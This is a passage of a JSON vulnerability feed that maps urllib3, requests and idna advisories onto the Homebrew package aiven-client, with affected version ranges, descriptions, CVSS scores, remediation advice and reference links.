Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Using an affected version of urllib3 (patched in v1.26.17 and v2.0.6)\n* Using the `Cookie` header on requests, which is mostly typical for impersonating a browser.\n* Not disabling HTTP redirects\n* Either not using HTTPS or for the origin server to redirect to a malicious origin.\n\n## Remediation\n\n* Upgrading to at least urllib3 v1.26.17 or v2.0.6\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Cookie` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-v845-jxx5-vc9f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43804"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/01220354d389cd05474713f8c982d05c9b17aafb"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/644124ecd0b6e417c527191f866daa05a5a2056d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-192.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I3PR7C6RJ6JUBQKIJ644DMIJSUP36VDY"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NDAGZXYJ7H2G3SB47M453VQVNAWKAEJJ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20241213-0007"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/cve-2023-43804-urllib3-vulnerability-3"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2023-45803","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:09:36Z","upstream":["GHSA-g4mx-q9vg-27p4","CVE-2023-45803","PYSEC-2023-212"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"3.1.1_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.7","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3's request body not stripped after redirect from 303 status changes request method to GET","details":"urllib3 previously wouldn't remove the HTTP request body when an HTTP redirect response using status 303 \"See Other\" after the request had its method changed from one that could accept a request body (like `POST`) to `GET` as is required by HTTP RFCs. Although the behavior of removing the request body is not specified in the section for redirects, it can be inferred by piecing together information from different sections and we have observed the behavior in other major HTTP client implementations like curl and web browsers.\n\nFrom [RFC 9110 Section 9.3.1](https://www.rfc-editor.org/rfc/rfc9110.html#name-get):\n\n> A client SHOULD NOT generate content in a GET request unless it is made directly to an origin server that has previously indicated, in or out of band, that such a request has a purpose and will be adequately supported.\n\n## Affected usages\n\nBecause the vulnerability requires a previously trusted service to become compromised in order to have an impact on confidentiality we believe the exploitability of this vulnerability is low. Additionally, many users aren't putting sensitive data in HTTP request bodies, if this is the case then this vulnerability isn't exploitable.\n\nBoth of the following conditions must be true to be affected by this vulnerability:\n\n* If you're using urllib3 and submitting sensitive information in the HTTP request body (such as form data or JSON)\n* The origin service is compromised and starts redirecting using 303 to a malicious peer or the redirected-to service becomes compromised.\n\n## Remediation\n\nYou can remediate this vulnerability with any of the following steps:\n\n* Upgrade to a patched version of urllib3 (v1.26.18 or v2.0.7)\n* Disable redirects for services that you aren't expecting to respond with redirects with `redirects=False`.\n* Disable automatic redirects with `redirects=False` and handle 303 redirects manually by stripping the HTTP request body.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:A/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-g4mx-q9vg-27p4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45803"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e50fbc5db74e32cabd5ccc1ab81fc103adfe0b3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e98d57809dacab1cbe625fddeec1a290c478ea9"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b594c5ceaca38e1ac215f916538fb128e3526a36"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-212.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/1.26.18"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.0.7"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4R2Y5XK3WALSR3FNAGN7JBYV2B343ZKB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PPDPLM6UUMN55ESPQWJFLLIZY4ZKCNRX"},{"type":"WEB","url":"https://www.rfc-editor.org/rfc/rfc9110.html#name-get"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2024-35195","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-9wx4-h78v-vm56","CVE-2024-35195","PYSEC-2026-1873"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests `Session` object does not verify requests after making first request with verify=False","details":"When using a `requests.Session`, if the first request to a given origin is made with `verify=False`, TLS certificate verification may remain disabled for all subsequent requests to that origin, even if `verify=True` is explicitly specified later.\n\nThis occurs because the underlying connection is reused from the session's connection pool, causing the initial TLS verification setting to persist for the lifetime of the pooled connection. As a result, applications may unintentionally send requests without certificate verification, leading to potential man-in-the-middle attacks and compromised confidentiality or integrity.\n\nThis behavior affects versions of `requests` prior to 2.32.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9wx4-h78v-vm56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-35195"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6655"},{"type":"WEB","url":"https://github.com/psf/requests/commit/a58d7f2ffb4d00b46dca2d70a3932a0b37e22fac"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IYLSNK5TL46Q6XPRVMHVWS63MVJQOK4Q"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/N7WP6EYDSUOCOJYHDK5NX43PYZ4SNHGZ"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2024-3651","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-jjg7-2v4v-x38h","CVE-2024-3651","PYSEC-2024-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7","resource":"idna","resource_purl":"pkg:pypi/idna@3.19"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.19","key":"pkg:pypi/idna@3.19","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode","details":"### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nThe function has been refined to reject such strings without the associated resource consumption in version 3.7.\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.\n\n### References\n* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-jjg7-2v4v-x38h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3651"},{"type":"WEB","url":"https://github.com/kjd/idna/commit/1d365e17e10d72d0b7876316fc7b9ca0eebdd38d"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2024-60.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4YQUPYH3SVZ5GFF2CDQ55FCM575AZTF2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2S5E23N6E52S46KGNYTDFB75LOC4N4D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S5IDLLD2IKSIVRBSLB34WTSYGLMWUFWF"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULSC7HBJKXB3BZV367WM5BR6DFEC4Z43"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2024-37891","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-34jh-p97f-mpxf","CVE-2024-37891","PYSEC-2026-1995"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3's Proxy-Authorization request header isn't stripped during cross-origin redirects","details":"When using urllib3's proxy support with `ProxyManager`, the `Proxy-Authorization` header is only sent to the configured proxy, as expected.\n\nHowever, when sending HTTP requests *without* using urllib3's proxy support, it's possible to accidentally configure the `Proxy-Authorization` header even though it won't have any effect as the request is not using a forwarding proxy or a tunneling proxy. In those cases, urllib3 doesn't treat the `Proxy-Authorization` HTTP header as one carrying authentication material and thus doesn't strip the header on cross-origin redirects.\n\nBecause this is a highly unlikely scenario, we believe the severity of this vulnerability is low for almost all users. Out of an abundance of caution urllib3 will automatically strip the `Proxy-Authorization` header during cross-origin redirects to avoid the small chance that users are doing this on accident.\n\nUsers should use urllib3's proxy support or disable automatic redirects to achieve safe processing of the `Proxy-Authorization` header, but we still decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Setting the `Proxy-Authorization` header without using urllib3's built-in proxy support.\n* Not disabling HTTP redirects.\n* Either not using an HTTPS origin server or for the proxy or target origin to redirect to a malicious origin.\n\n## Remediation\n\n* Using the `Proxy-Authorization` header with urllib3's `ProxyManager`.\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Proxy-Authorization` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37891"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/40b6d1605814dd1db0a46e202d6e56f2e4c9a468"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/accff72ecc2f6cf5a76d9570198a93ac7c90270e"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240822-0003"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/proxy-authorization-header-handling-vulnerability-in-urllib3-cve-2024-37891"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2024-47081","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-9hjg-9r4m-mvj7","CVE-2024-47081","PYSEC-2026-1872"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.4","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests vulnerable to .netrc credentials leak via malicious URLs","details":"### Impact\n\nDue to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs.\n\n### Workarounds\nFor older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on your Requests Session ([docs](https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env)).\n\n### References\nhttps://github.com/psf/requests/pull/6965\nhttps://seclists.org/fulldisclosure/2025/Jun/2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47081"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6965"},{"type":"WEB","url":"https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env"},{"type":"WEB","url":"https://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/11"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/9"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/6"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2025-50181","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0) # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0)) # equivalent to the above\nhttp = urllib3.PoolManager(retries=False) # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2025-50182","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-48p4-8xcf-vxj5","CVE-2025-50182","PYSEC-2026-1997"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3 does not control redirects in browsers and Node.js","details":"urllib3 [supports](https://urllib3.readthedocs.io/en/2.4.0/reference/contrib/emscripten.html) being used in a Pyodide runtime utilizing the [JavaScript Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) or falling back on [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest). This means you can use Python libraries to make HTTP requests from your browser or Node.js. Additionally, urllib3 provides [a mechanism](https://urllib3.readthedocs.io/en/2.4.0/user-guide.html#retrying-requests) to control redirects.\n\nHowever, the `retries` and `redirect` parameters are ignored with Pyodide; the runtime itself determines redirect behavior.\n\n\n## Affected usages\n\nAny code which relies on urllib3 to control the number of redirects for an HTTP request in a Pyodide runtime.\n\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects may remain vulnerable if a Pyodide runtime redirect mechanism is unsuitable.\n\n\n## Remediation\n\nIf you use urllib3 in Node.js, upgrade to a patched version of urllib3.\n\nUnfortunately, browsers provide no suitable way which urllib3 can use: `XMLHttpRequest` provides no control over redirects, the Fetch API returns `opaqueredirect` responses lacking data when redirects are controlled manually. Expect default browser behavior for redirects.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-48p4-8xcf-vxj5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50182"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/7eb4a2aafe49a279c29b6d1f0ed0f42e9736194f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2025-66418","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2025-66471","published":"2026-08-13T16:35:13Z","modified":"2026-09-28T17:58:54Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-21441","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 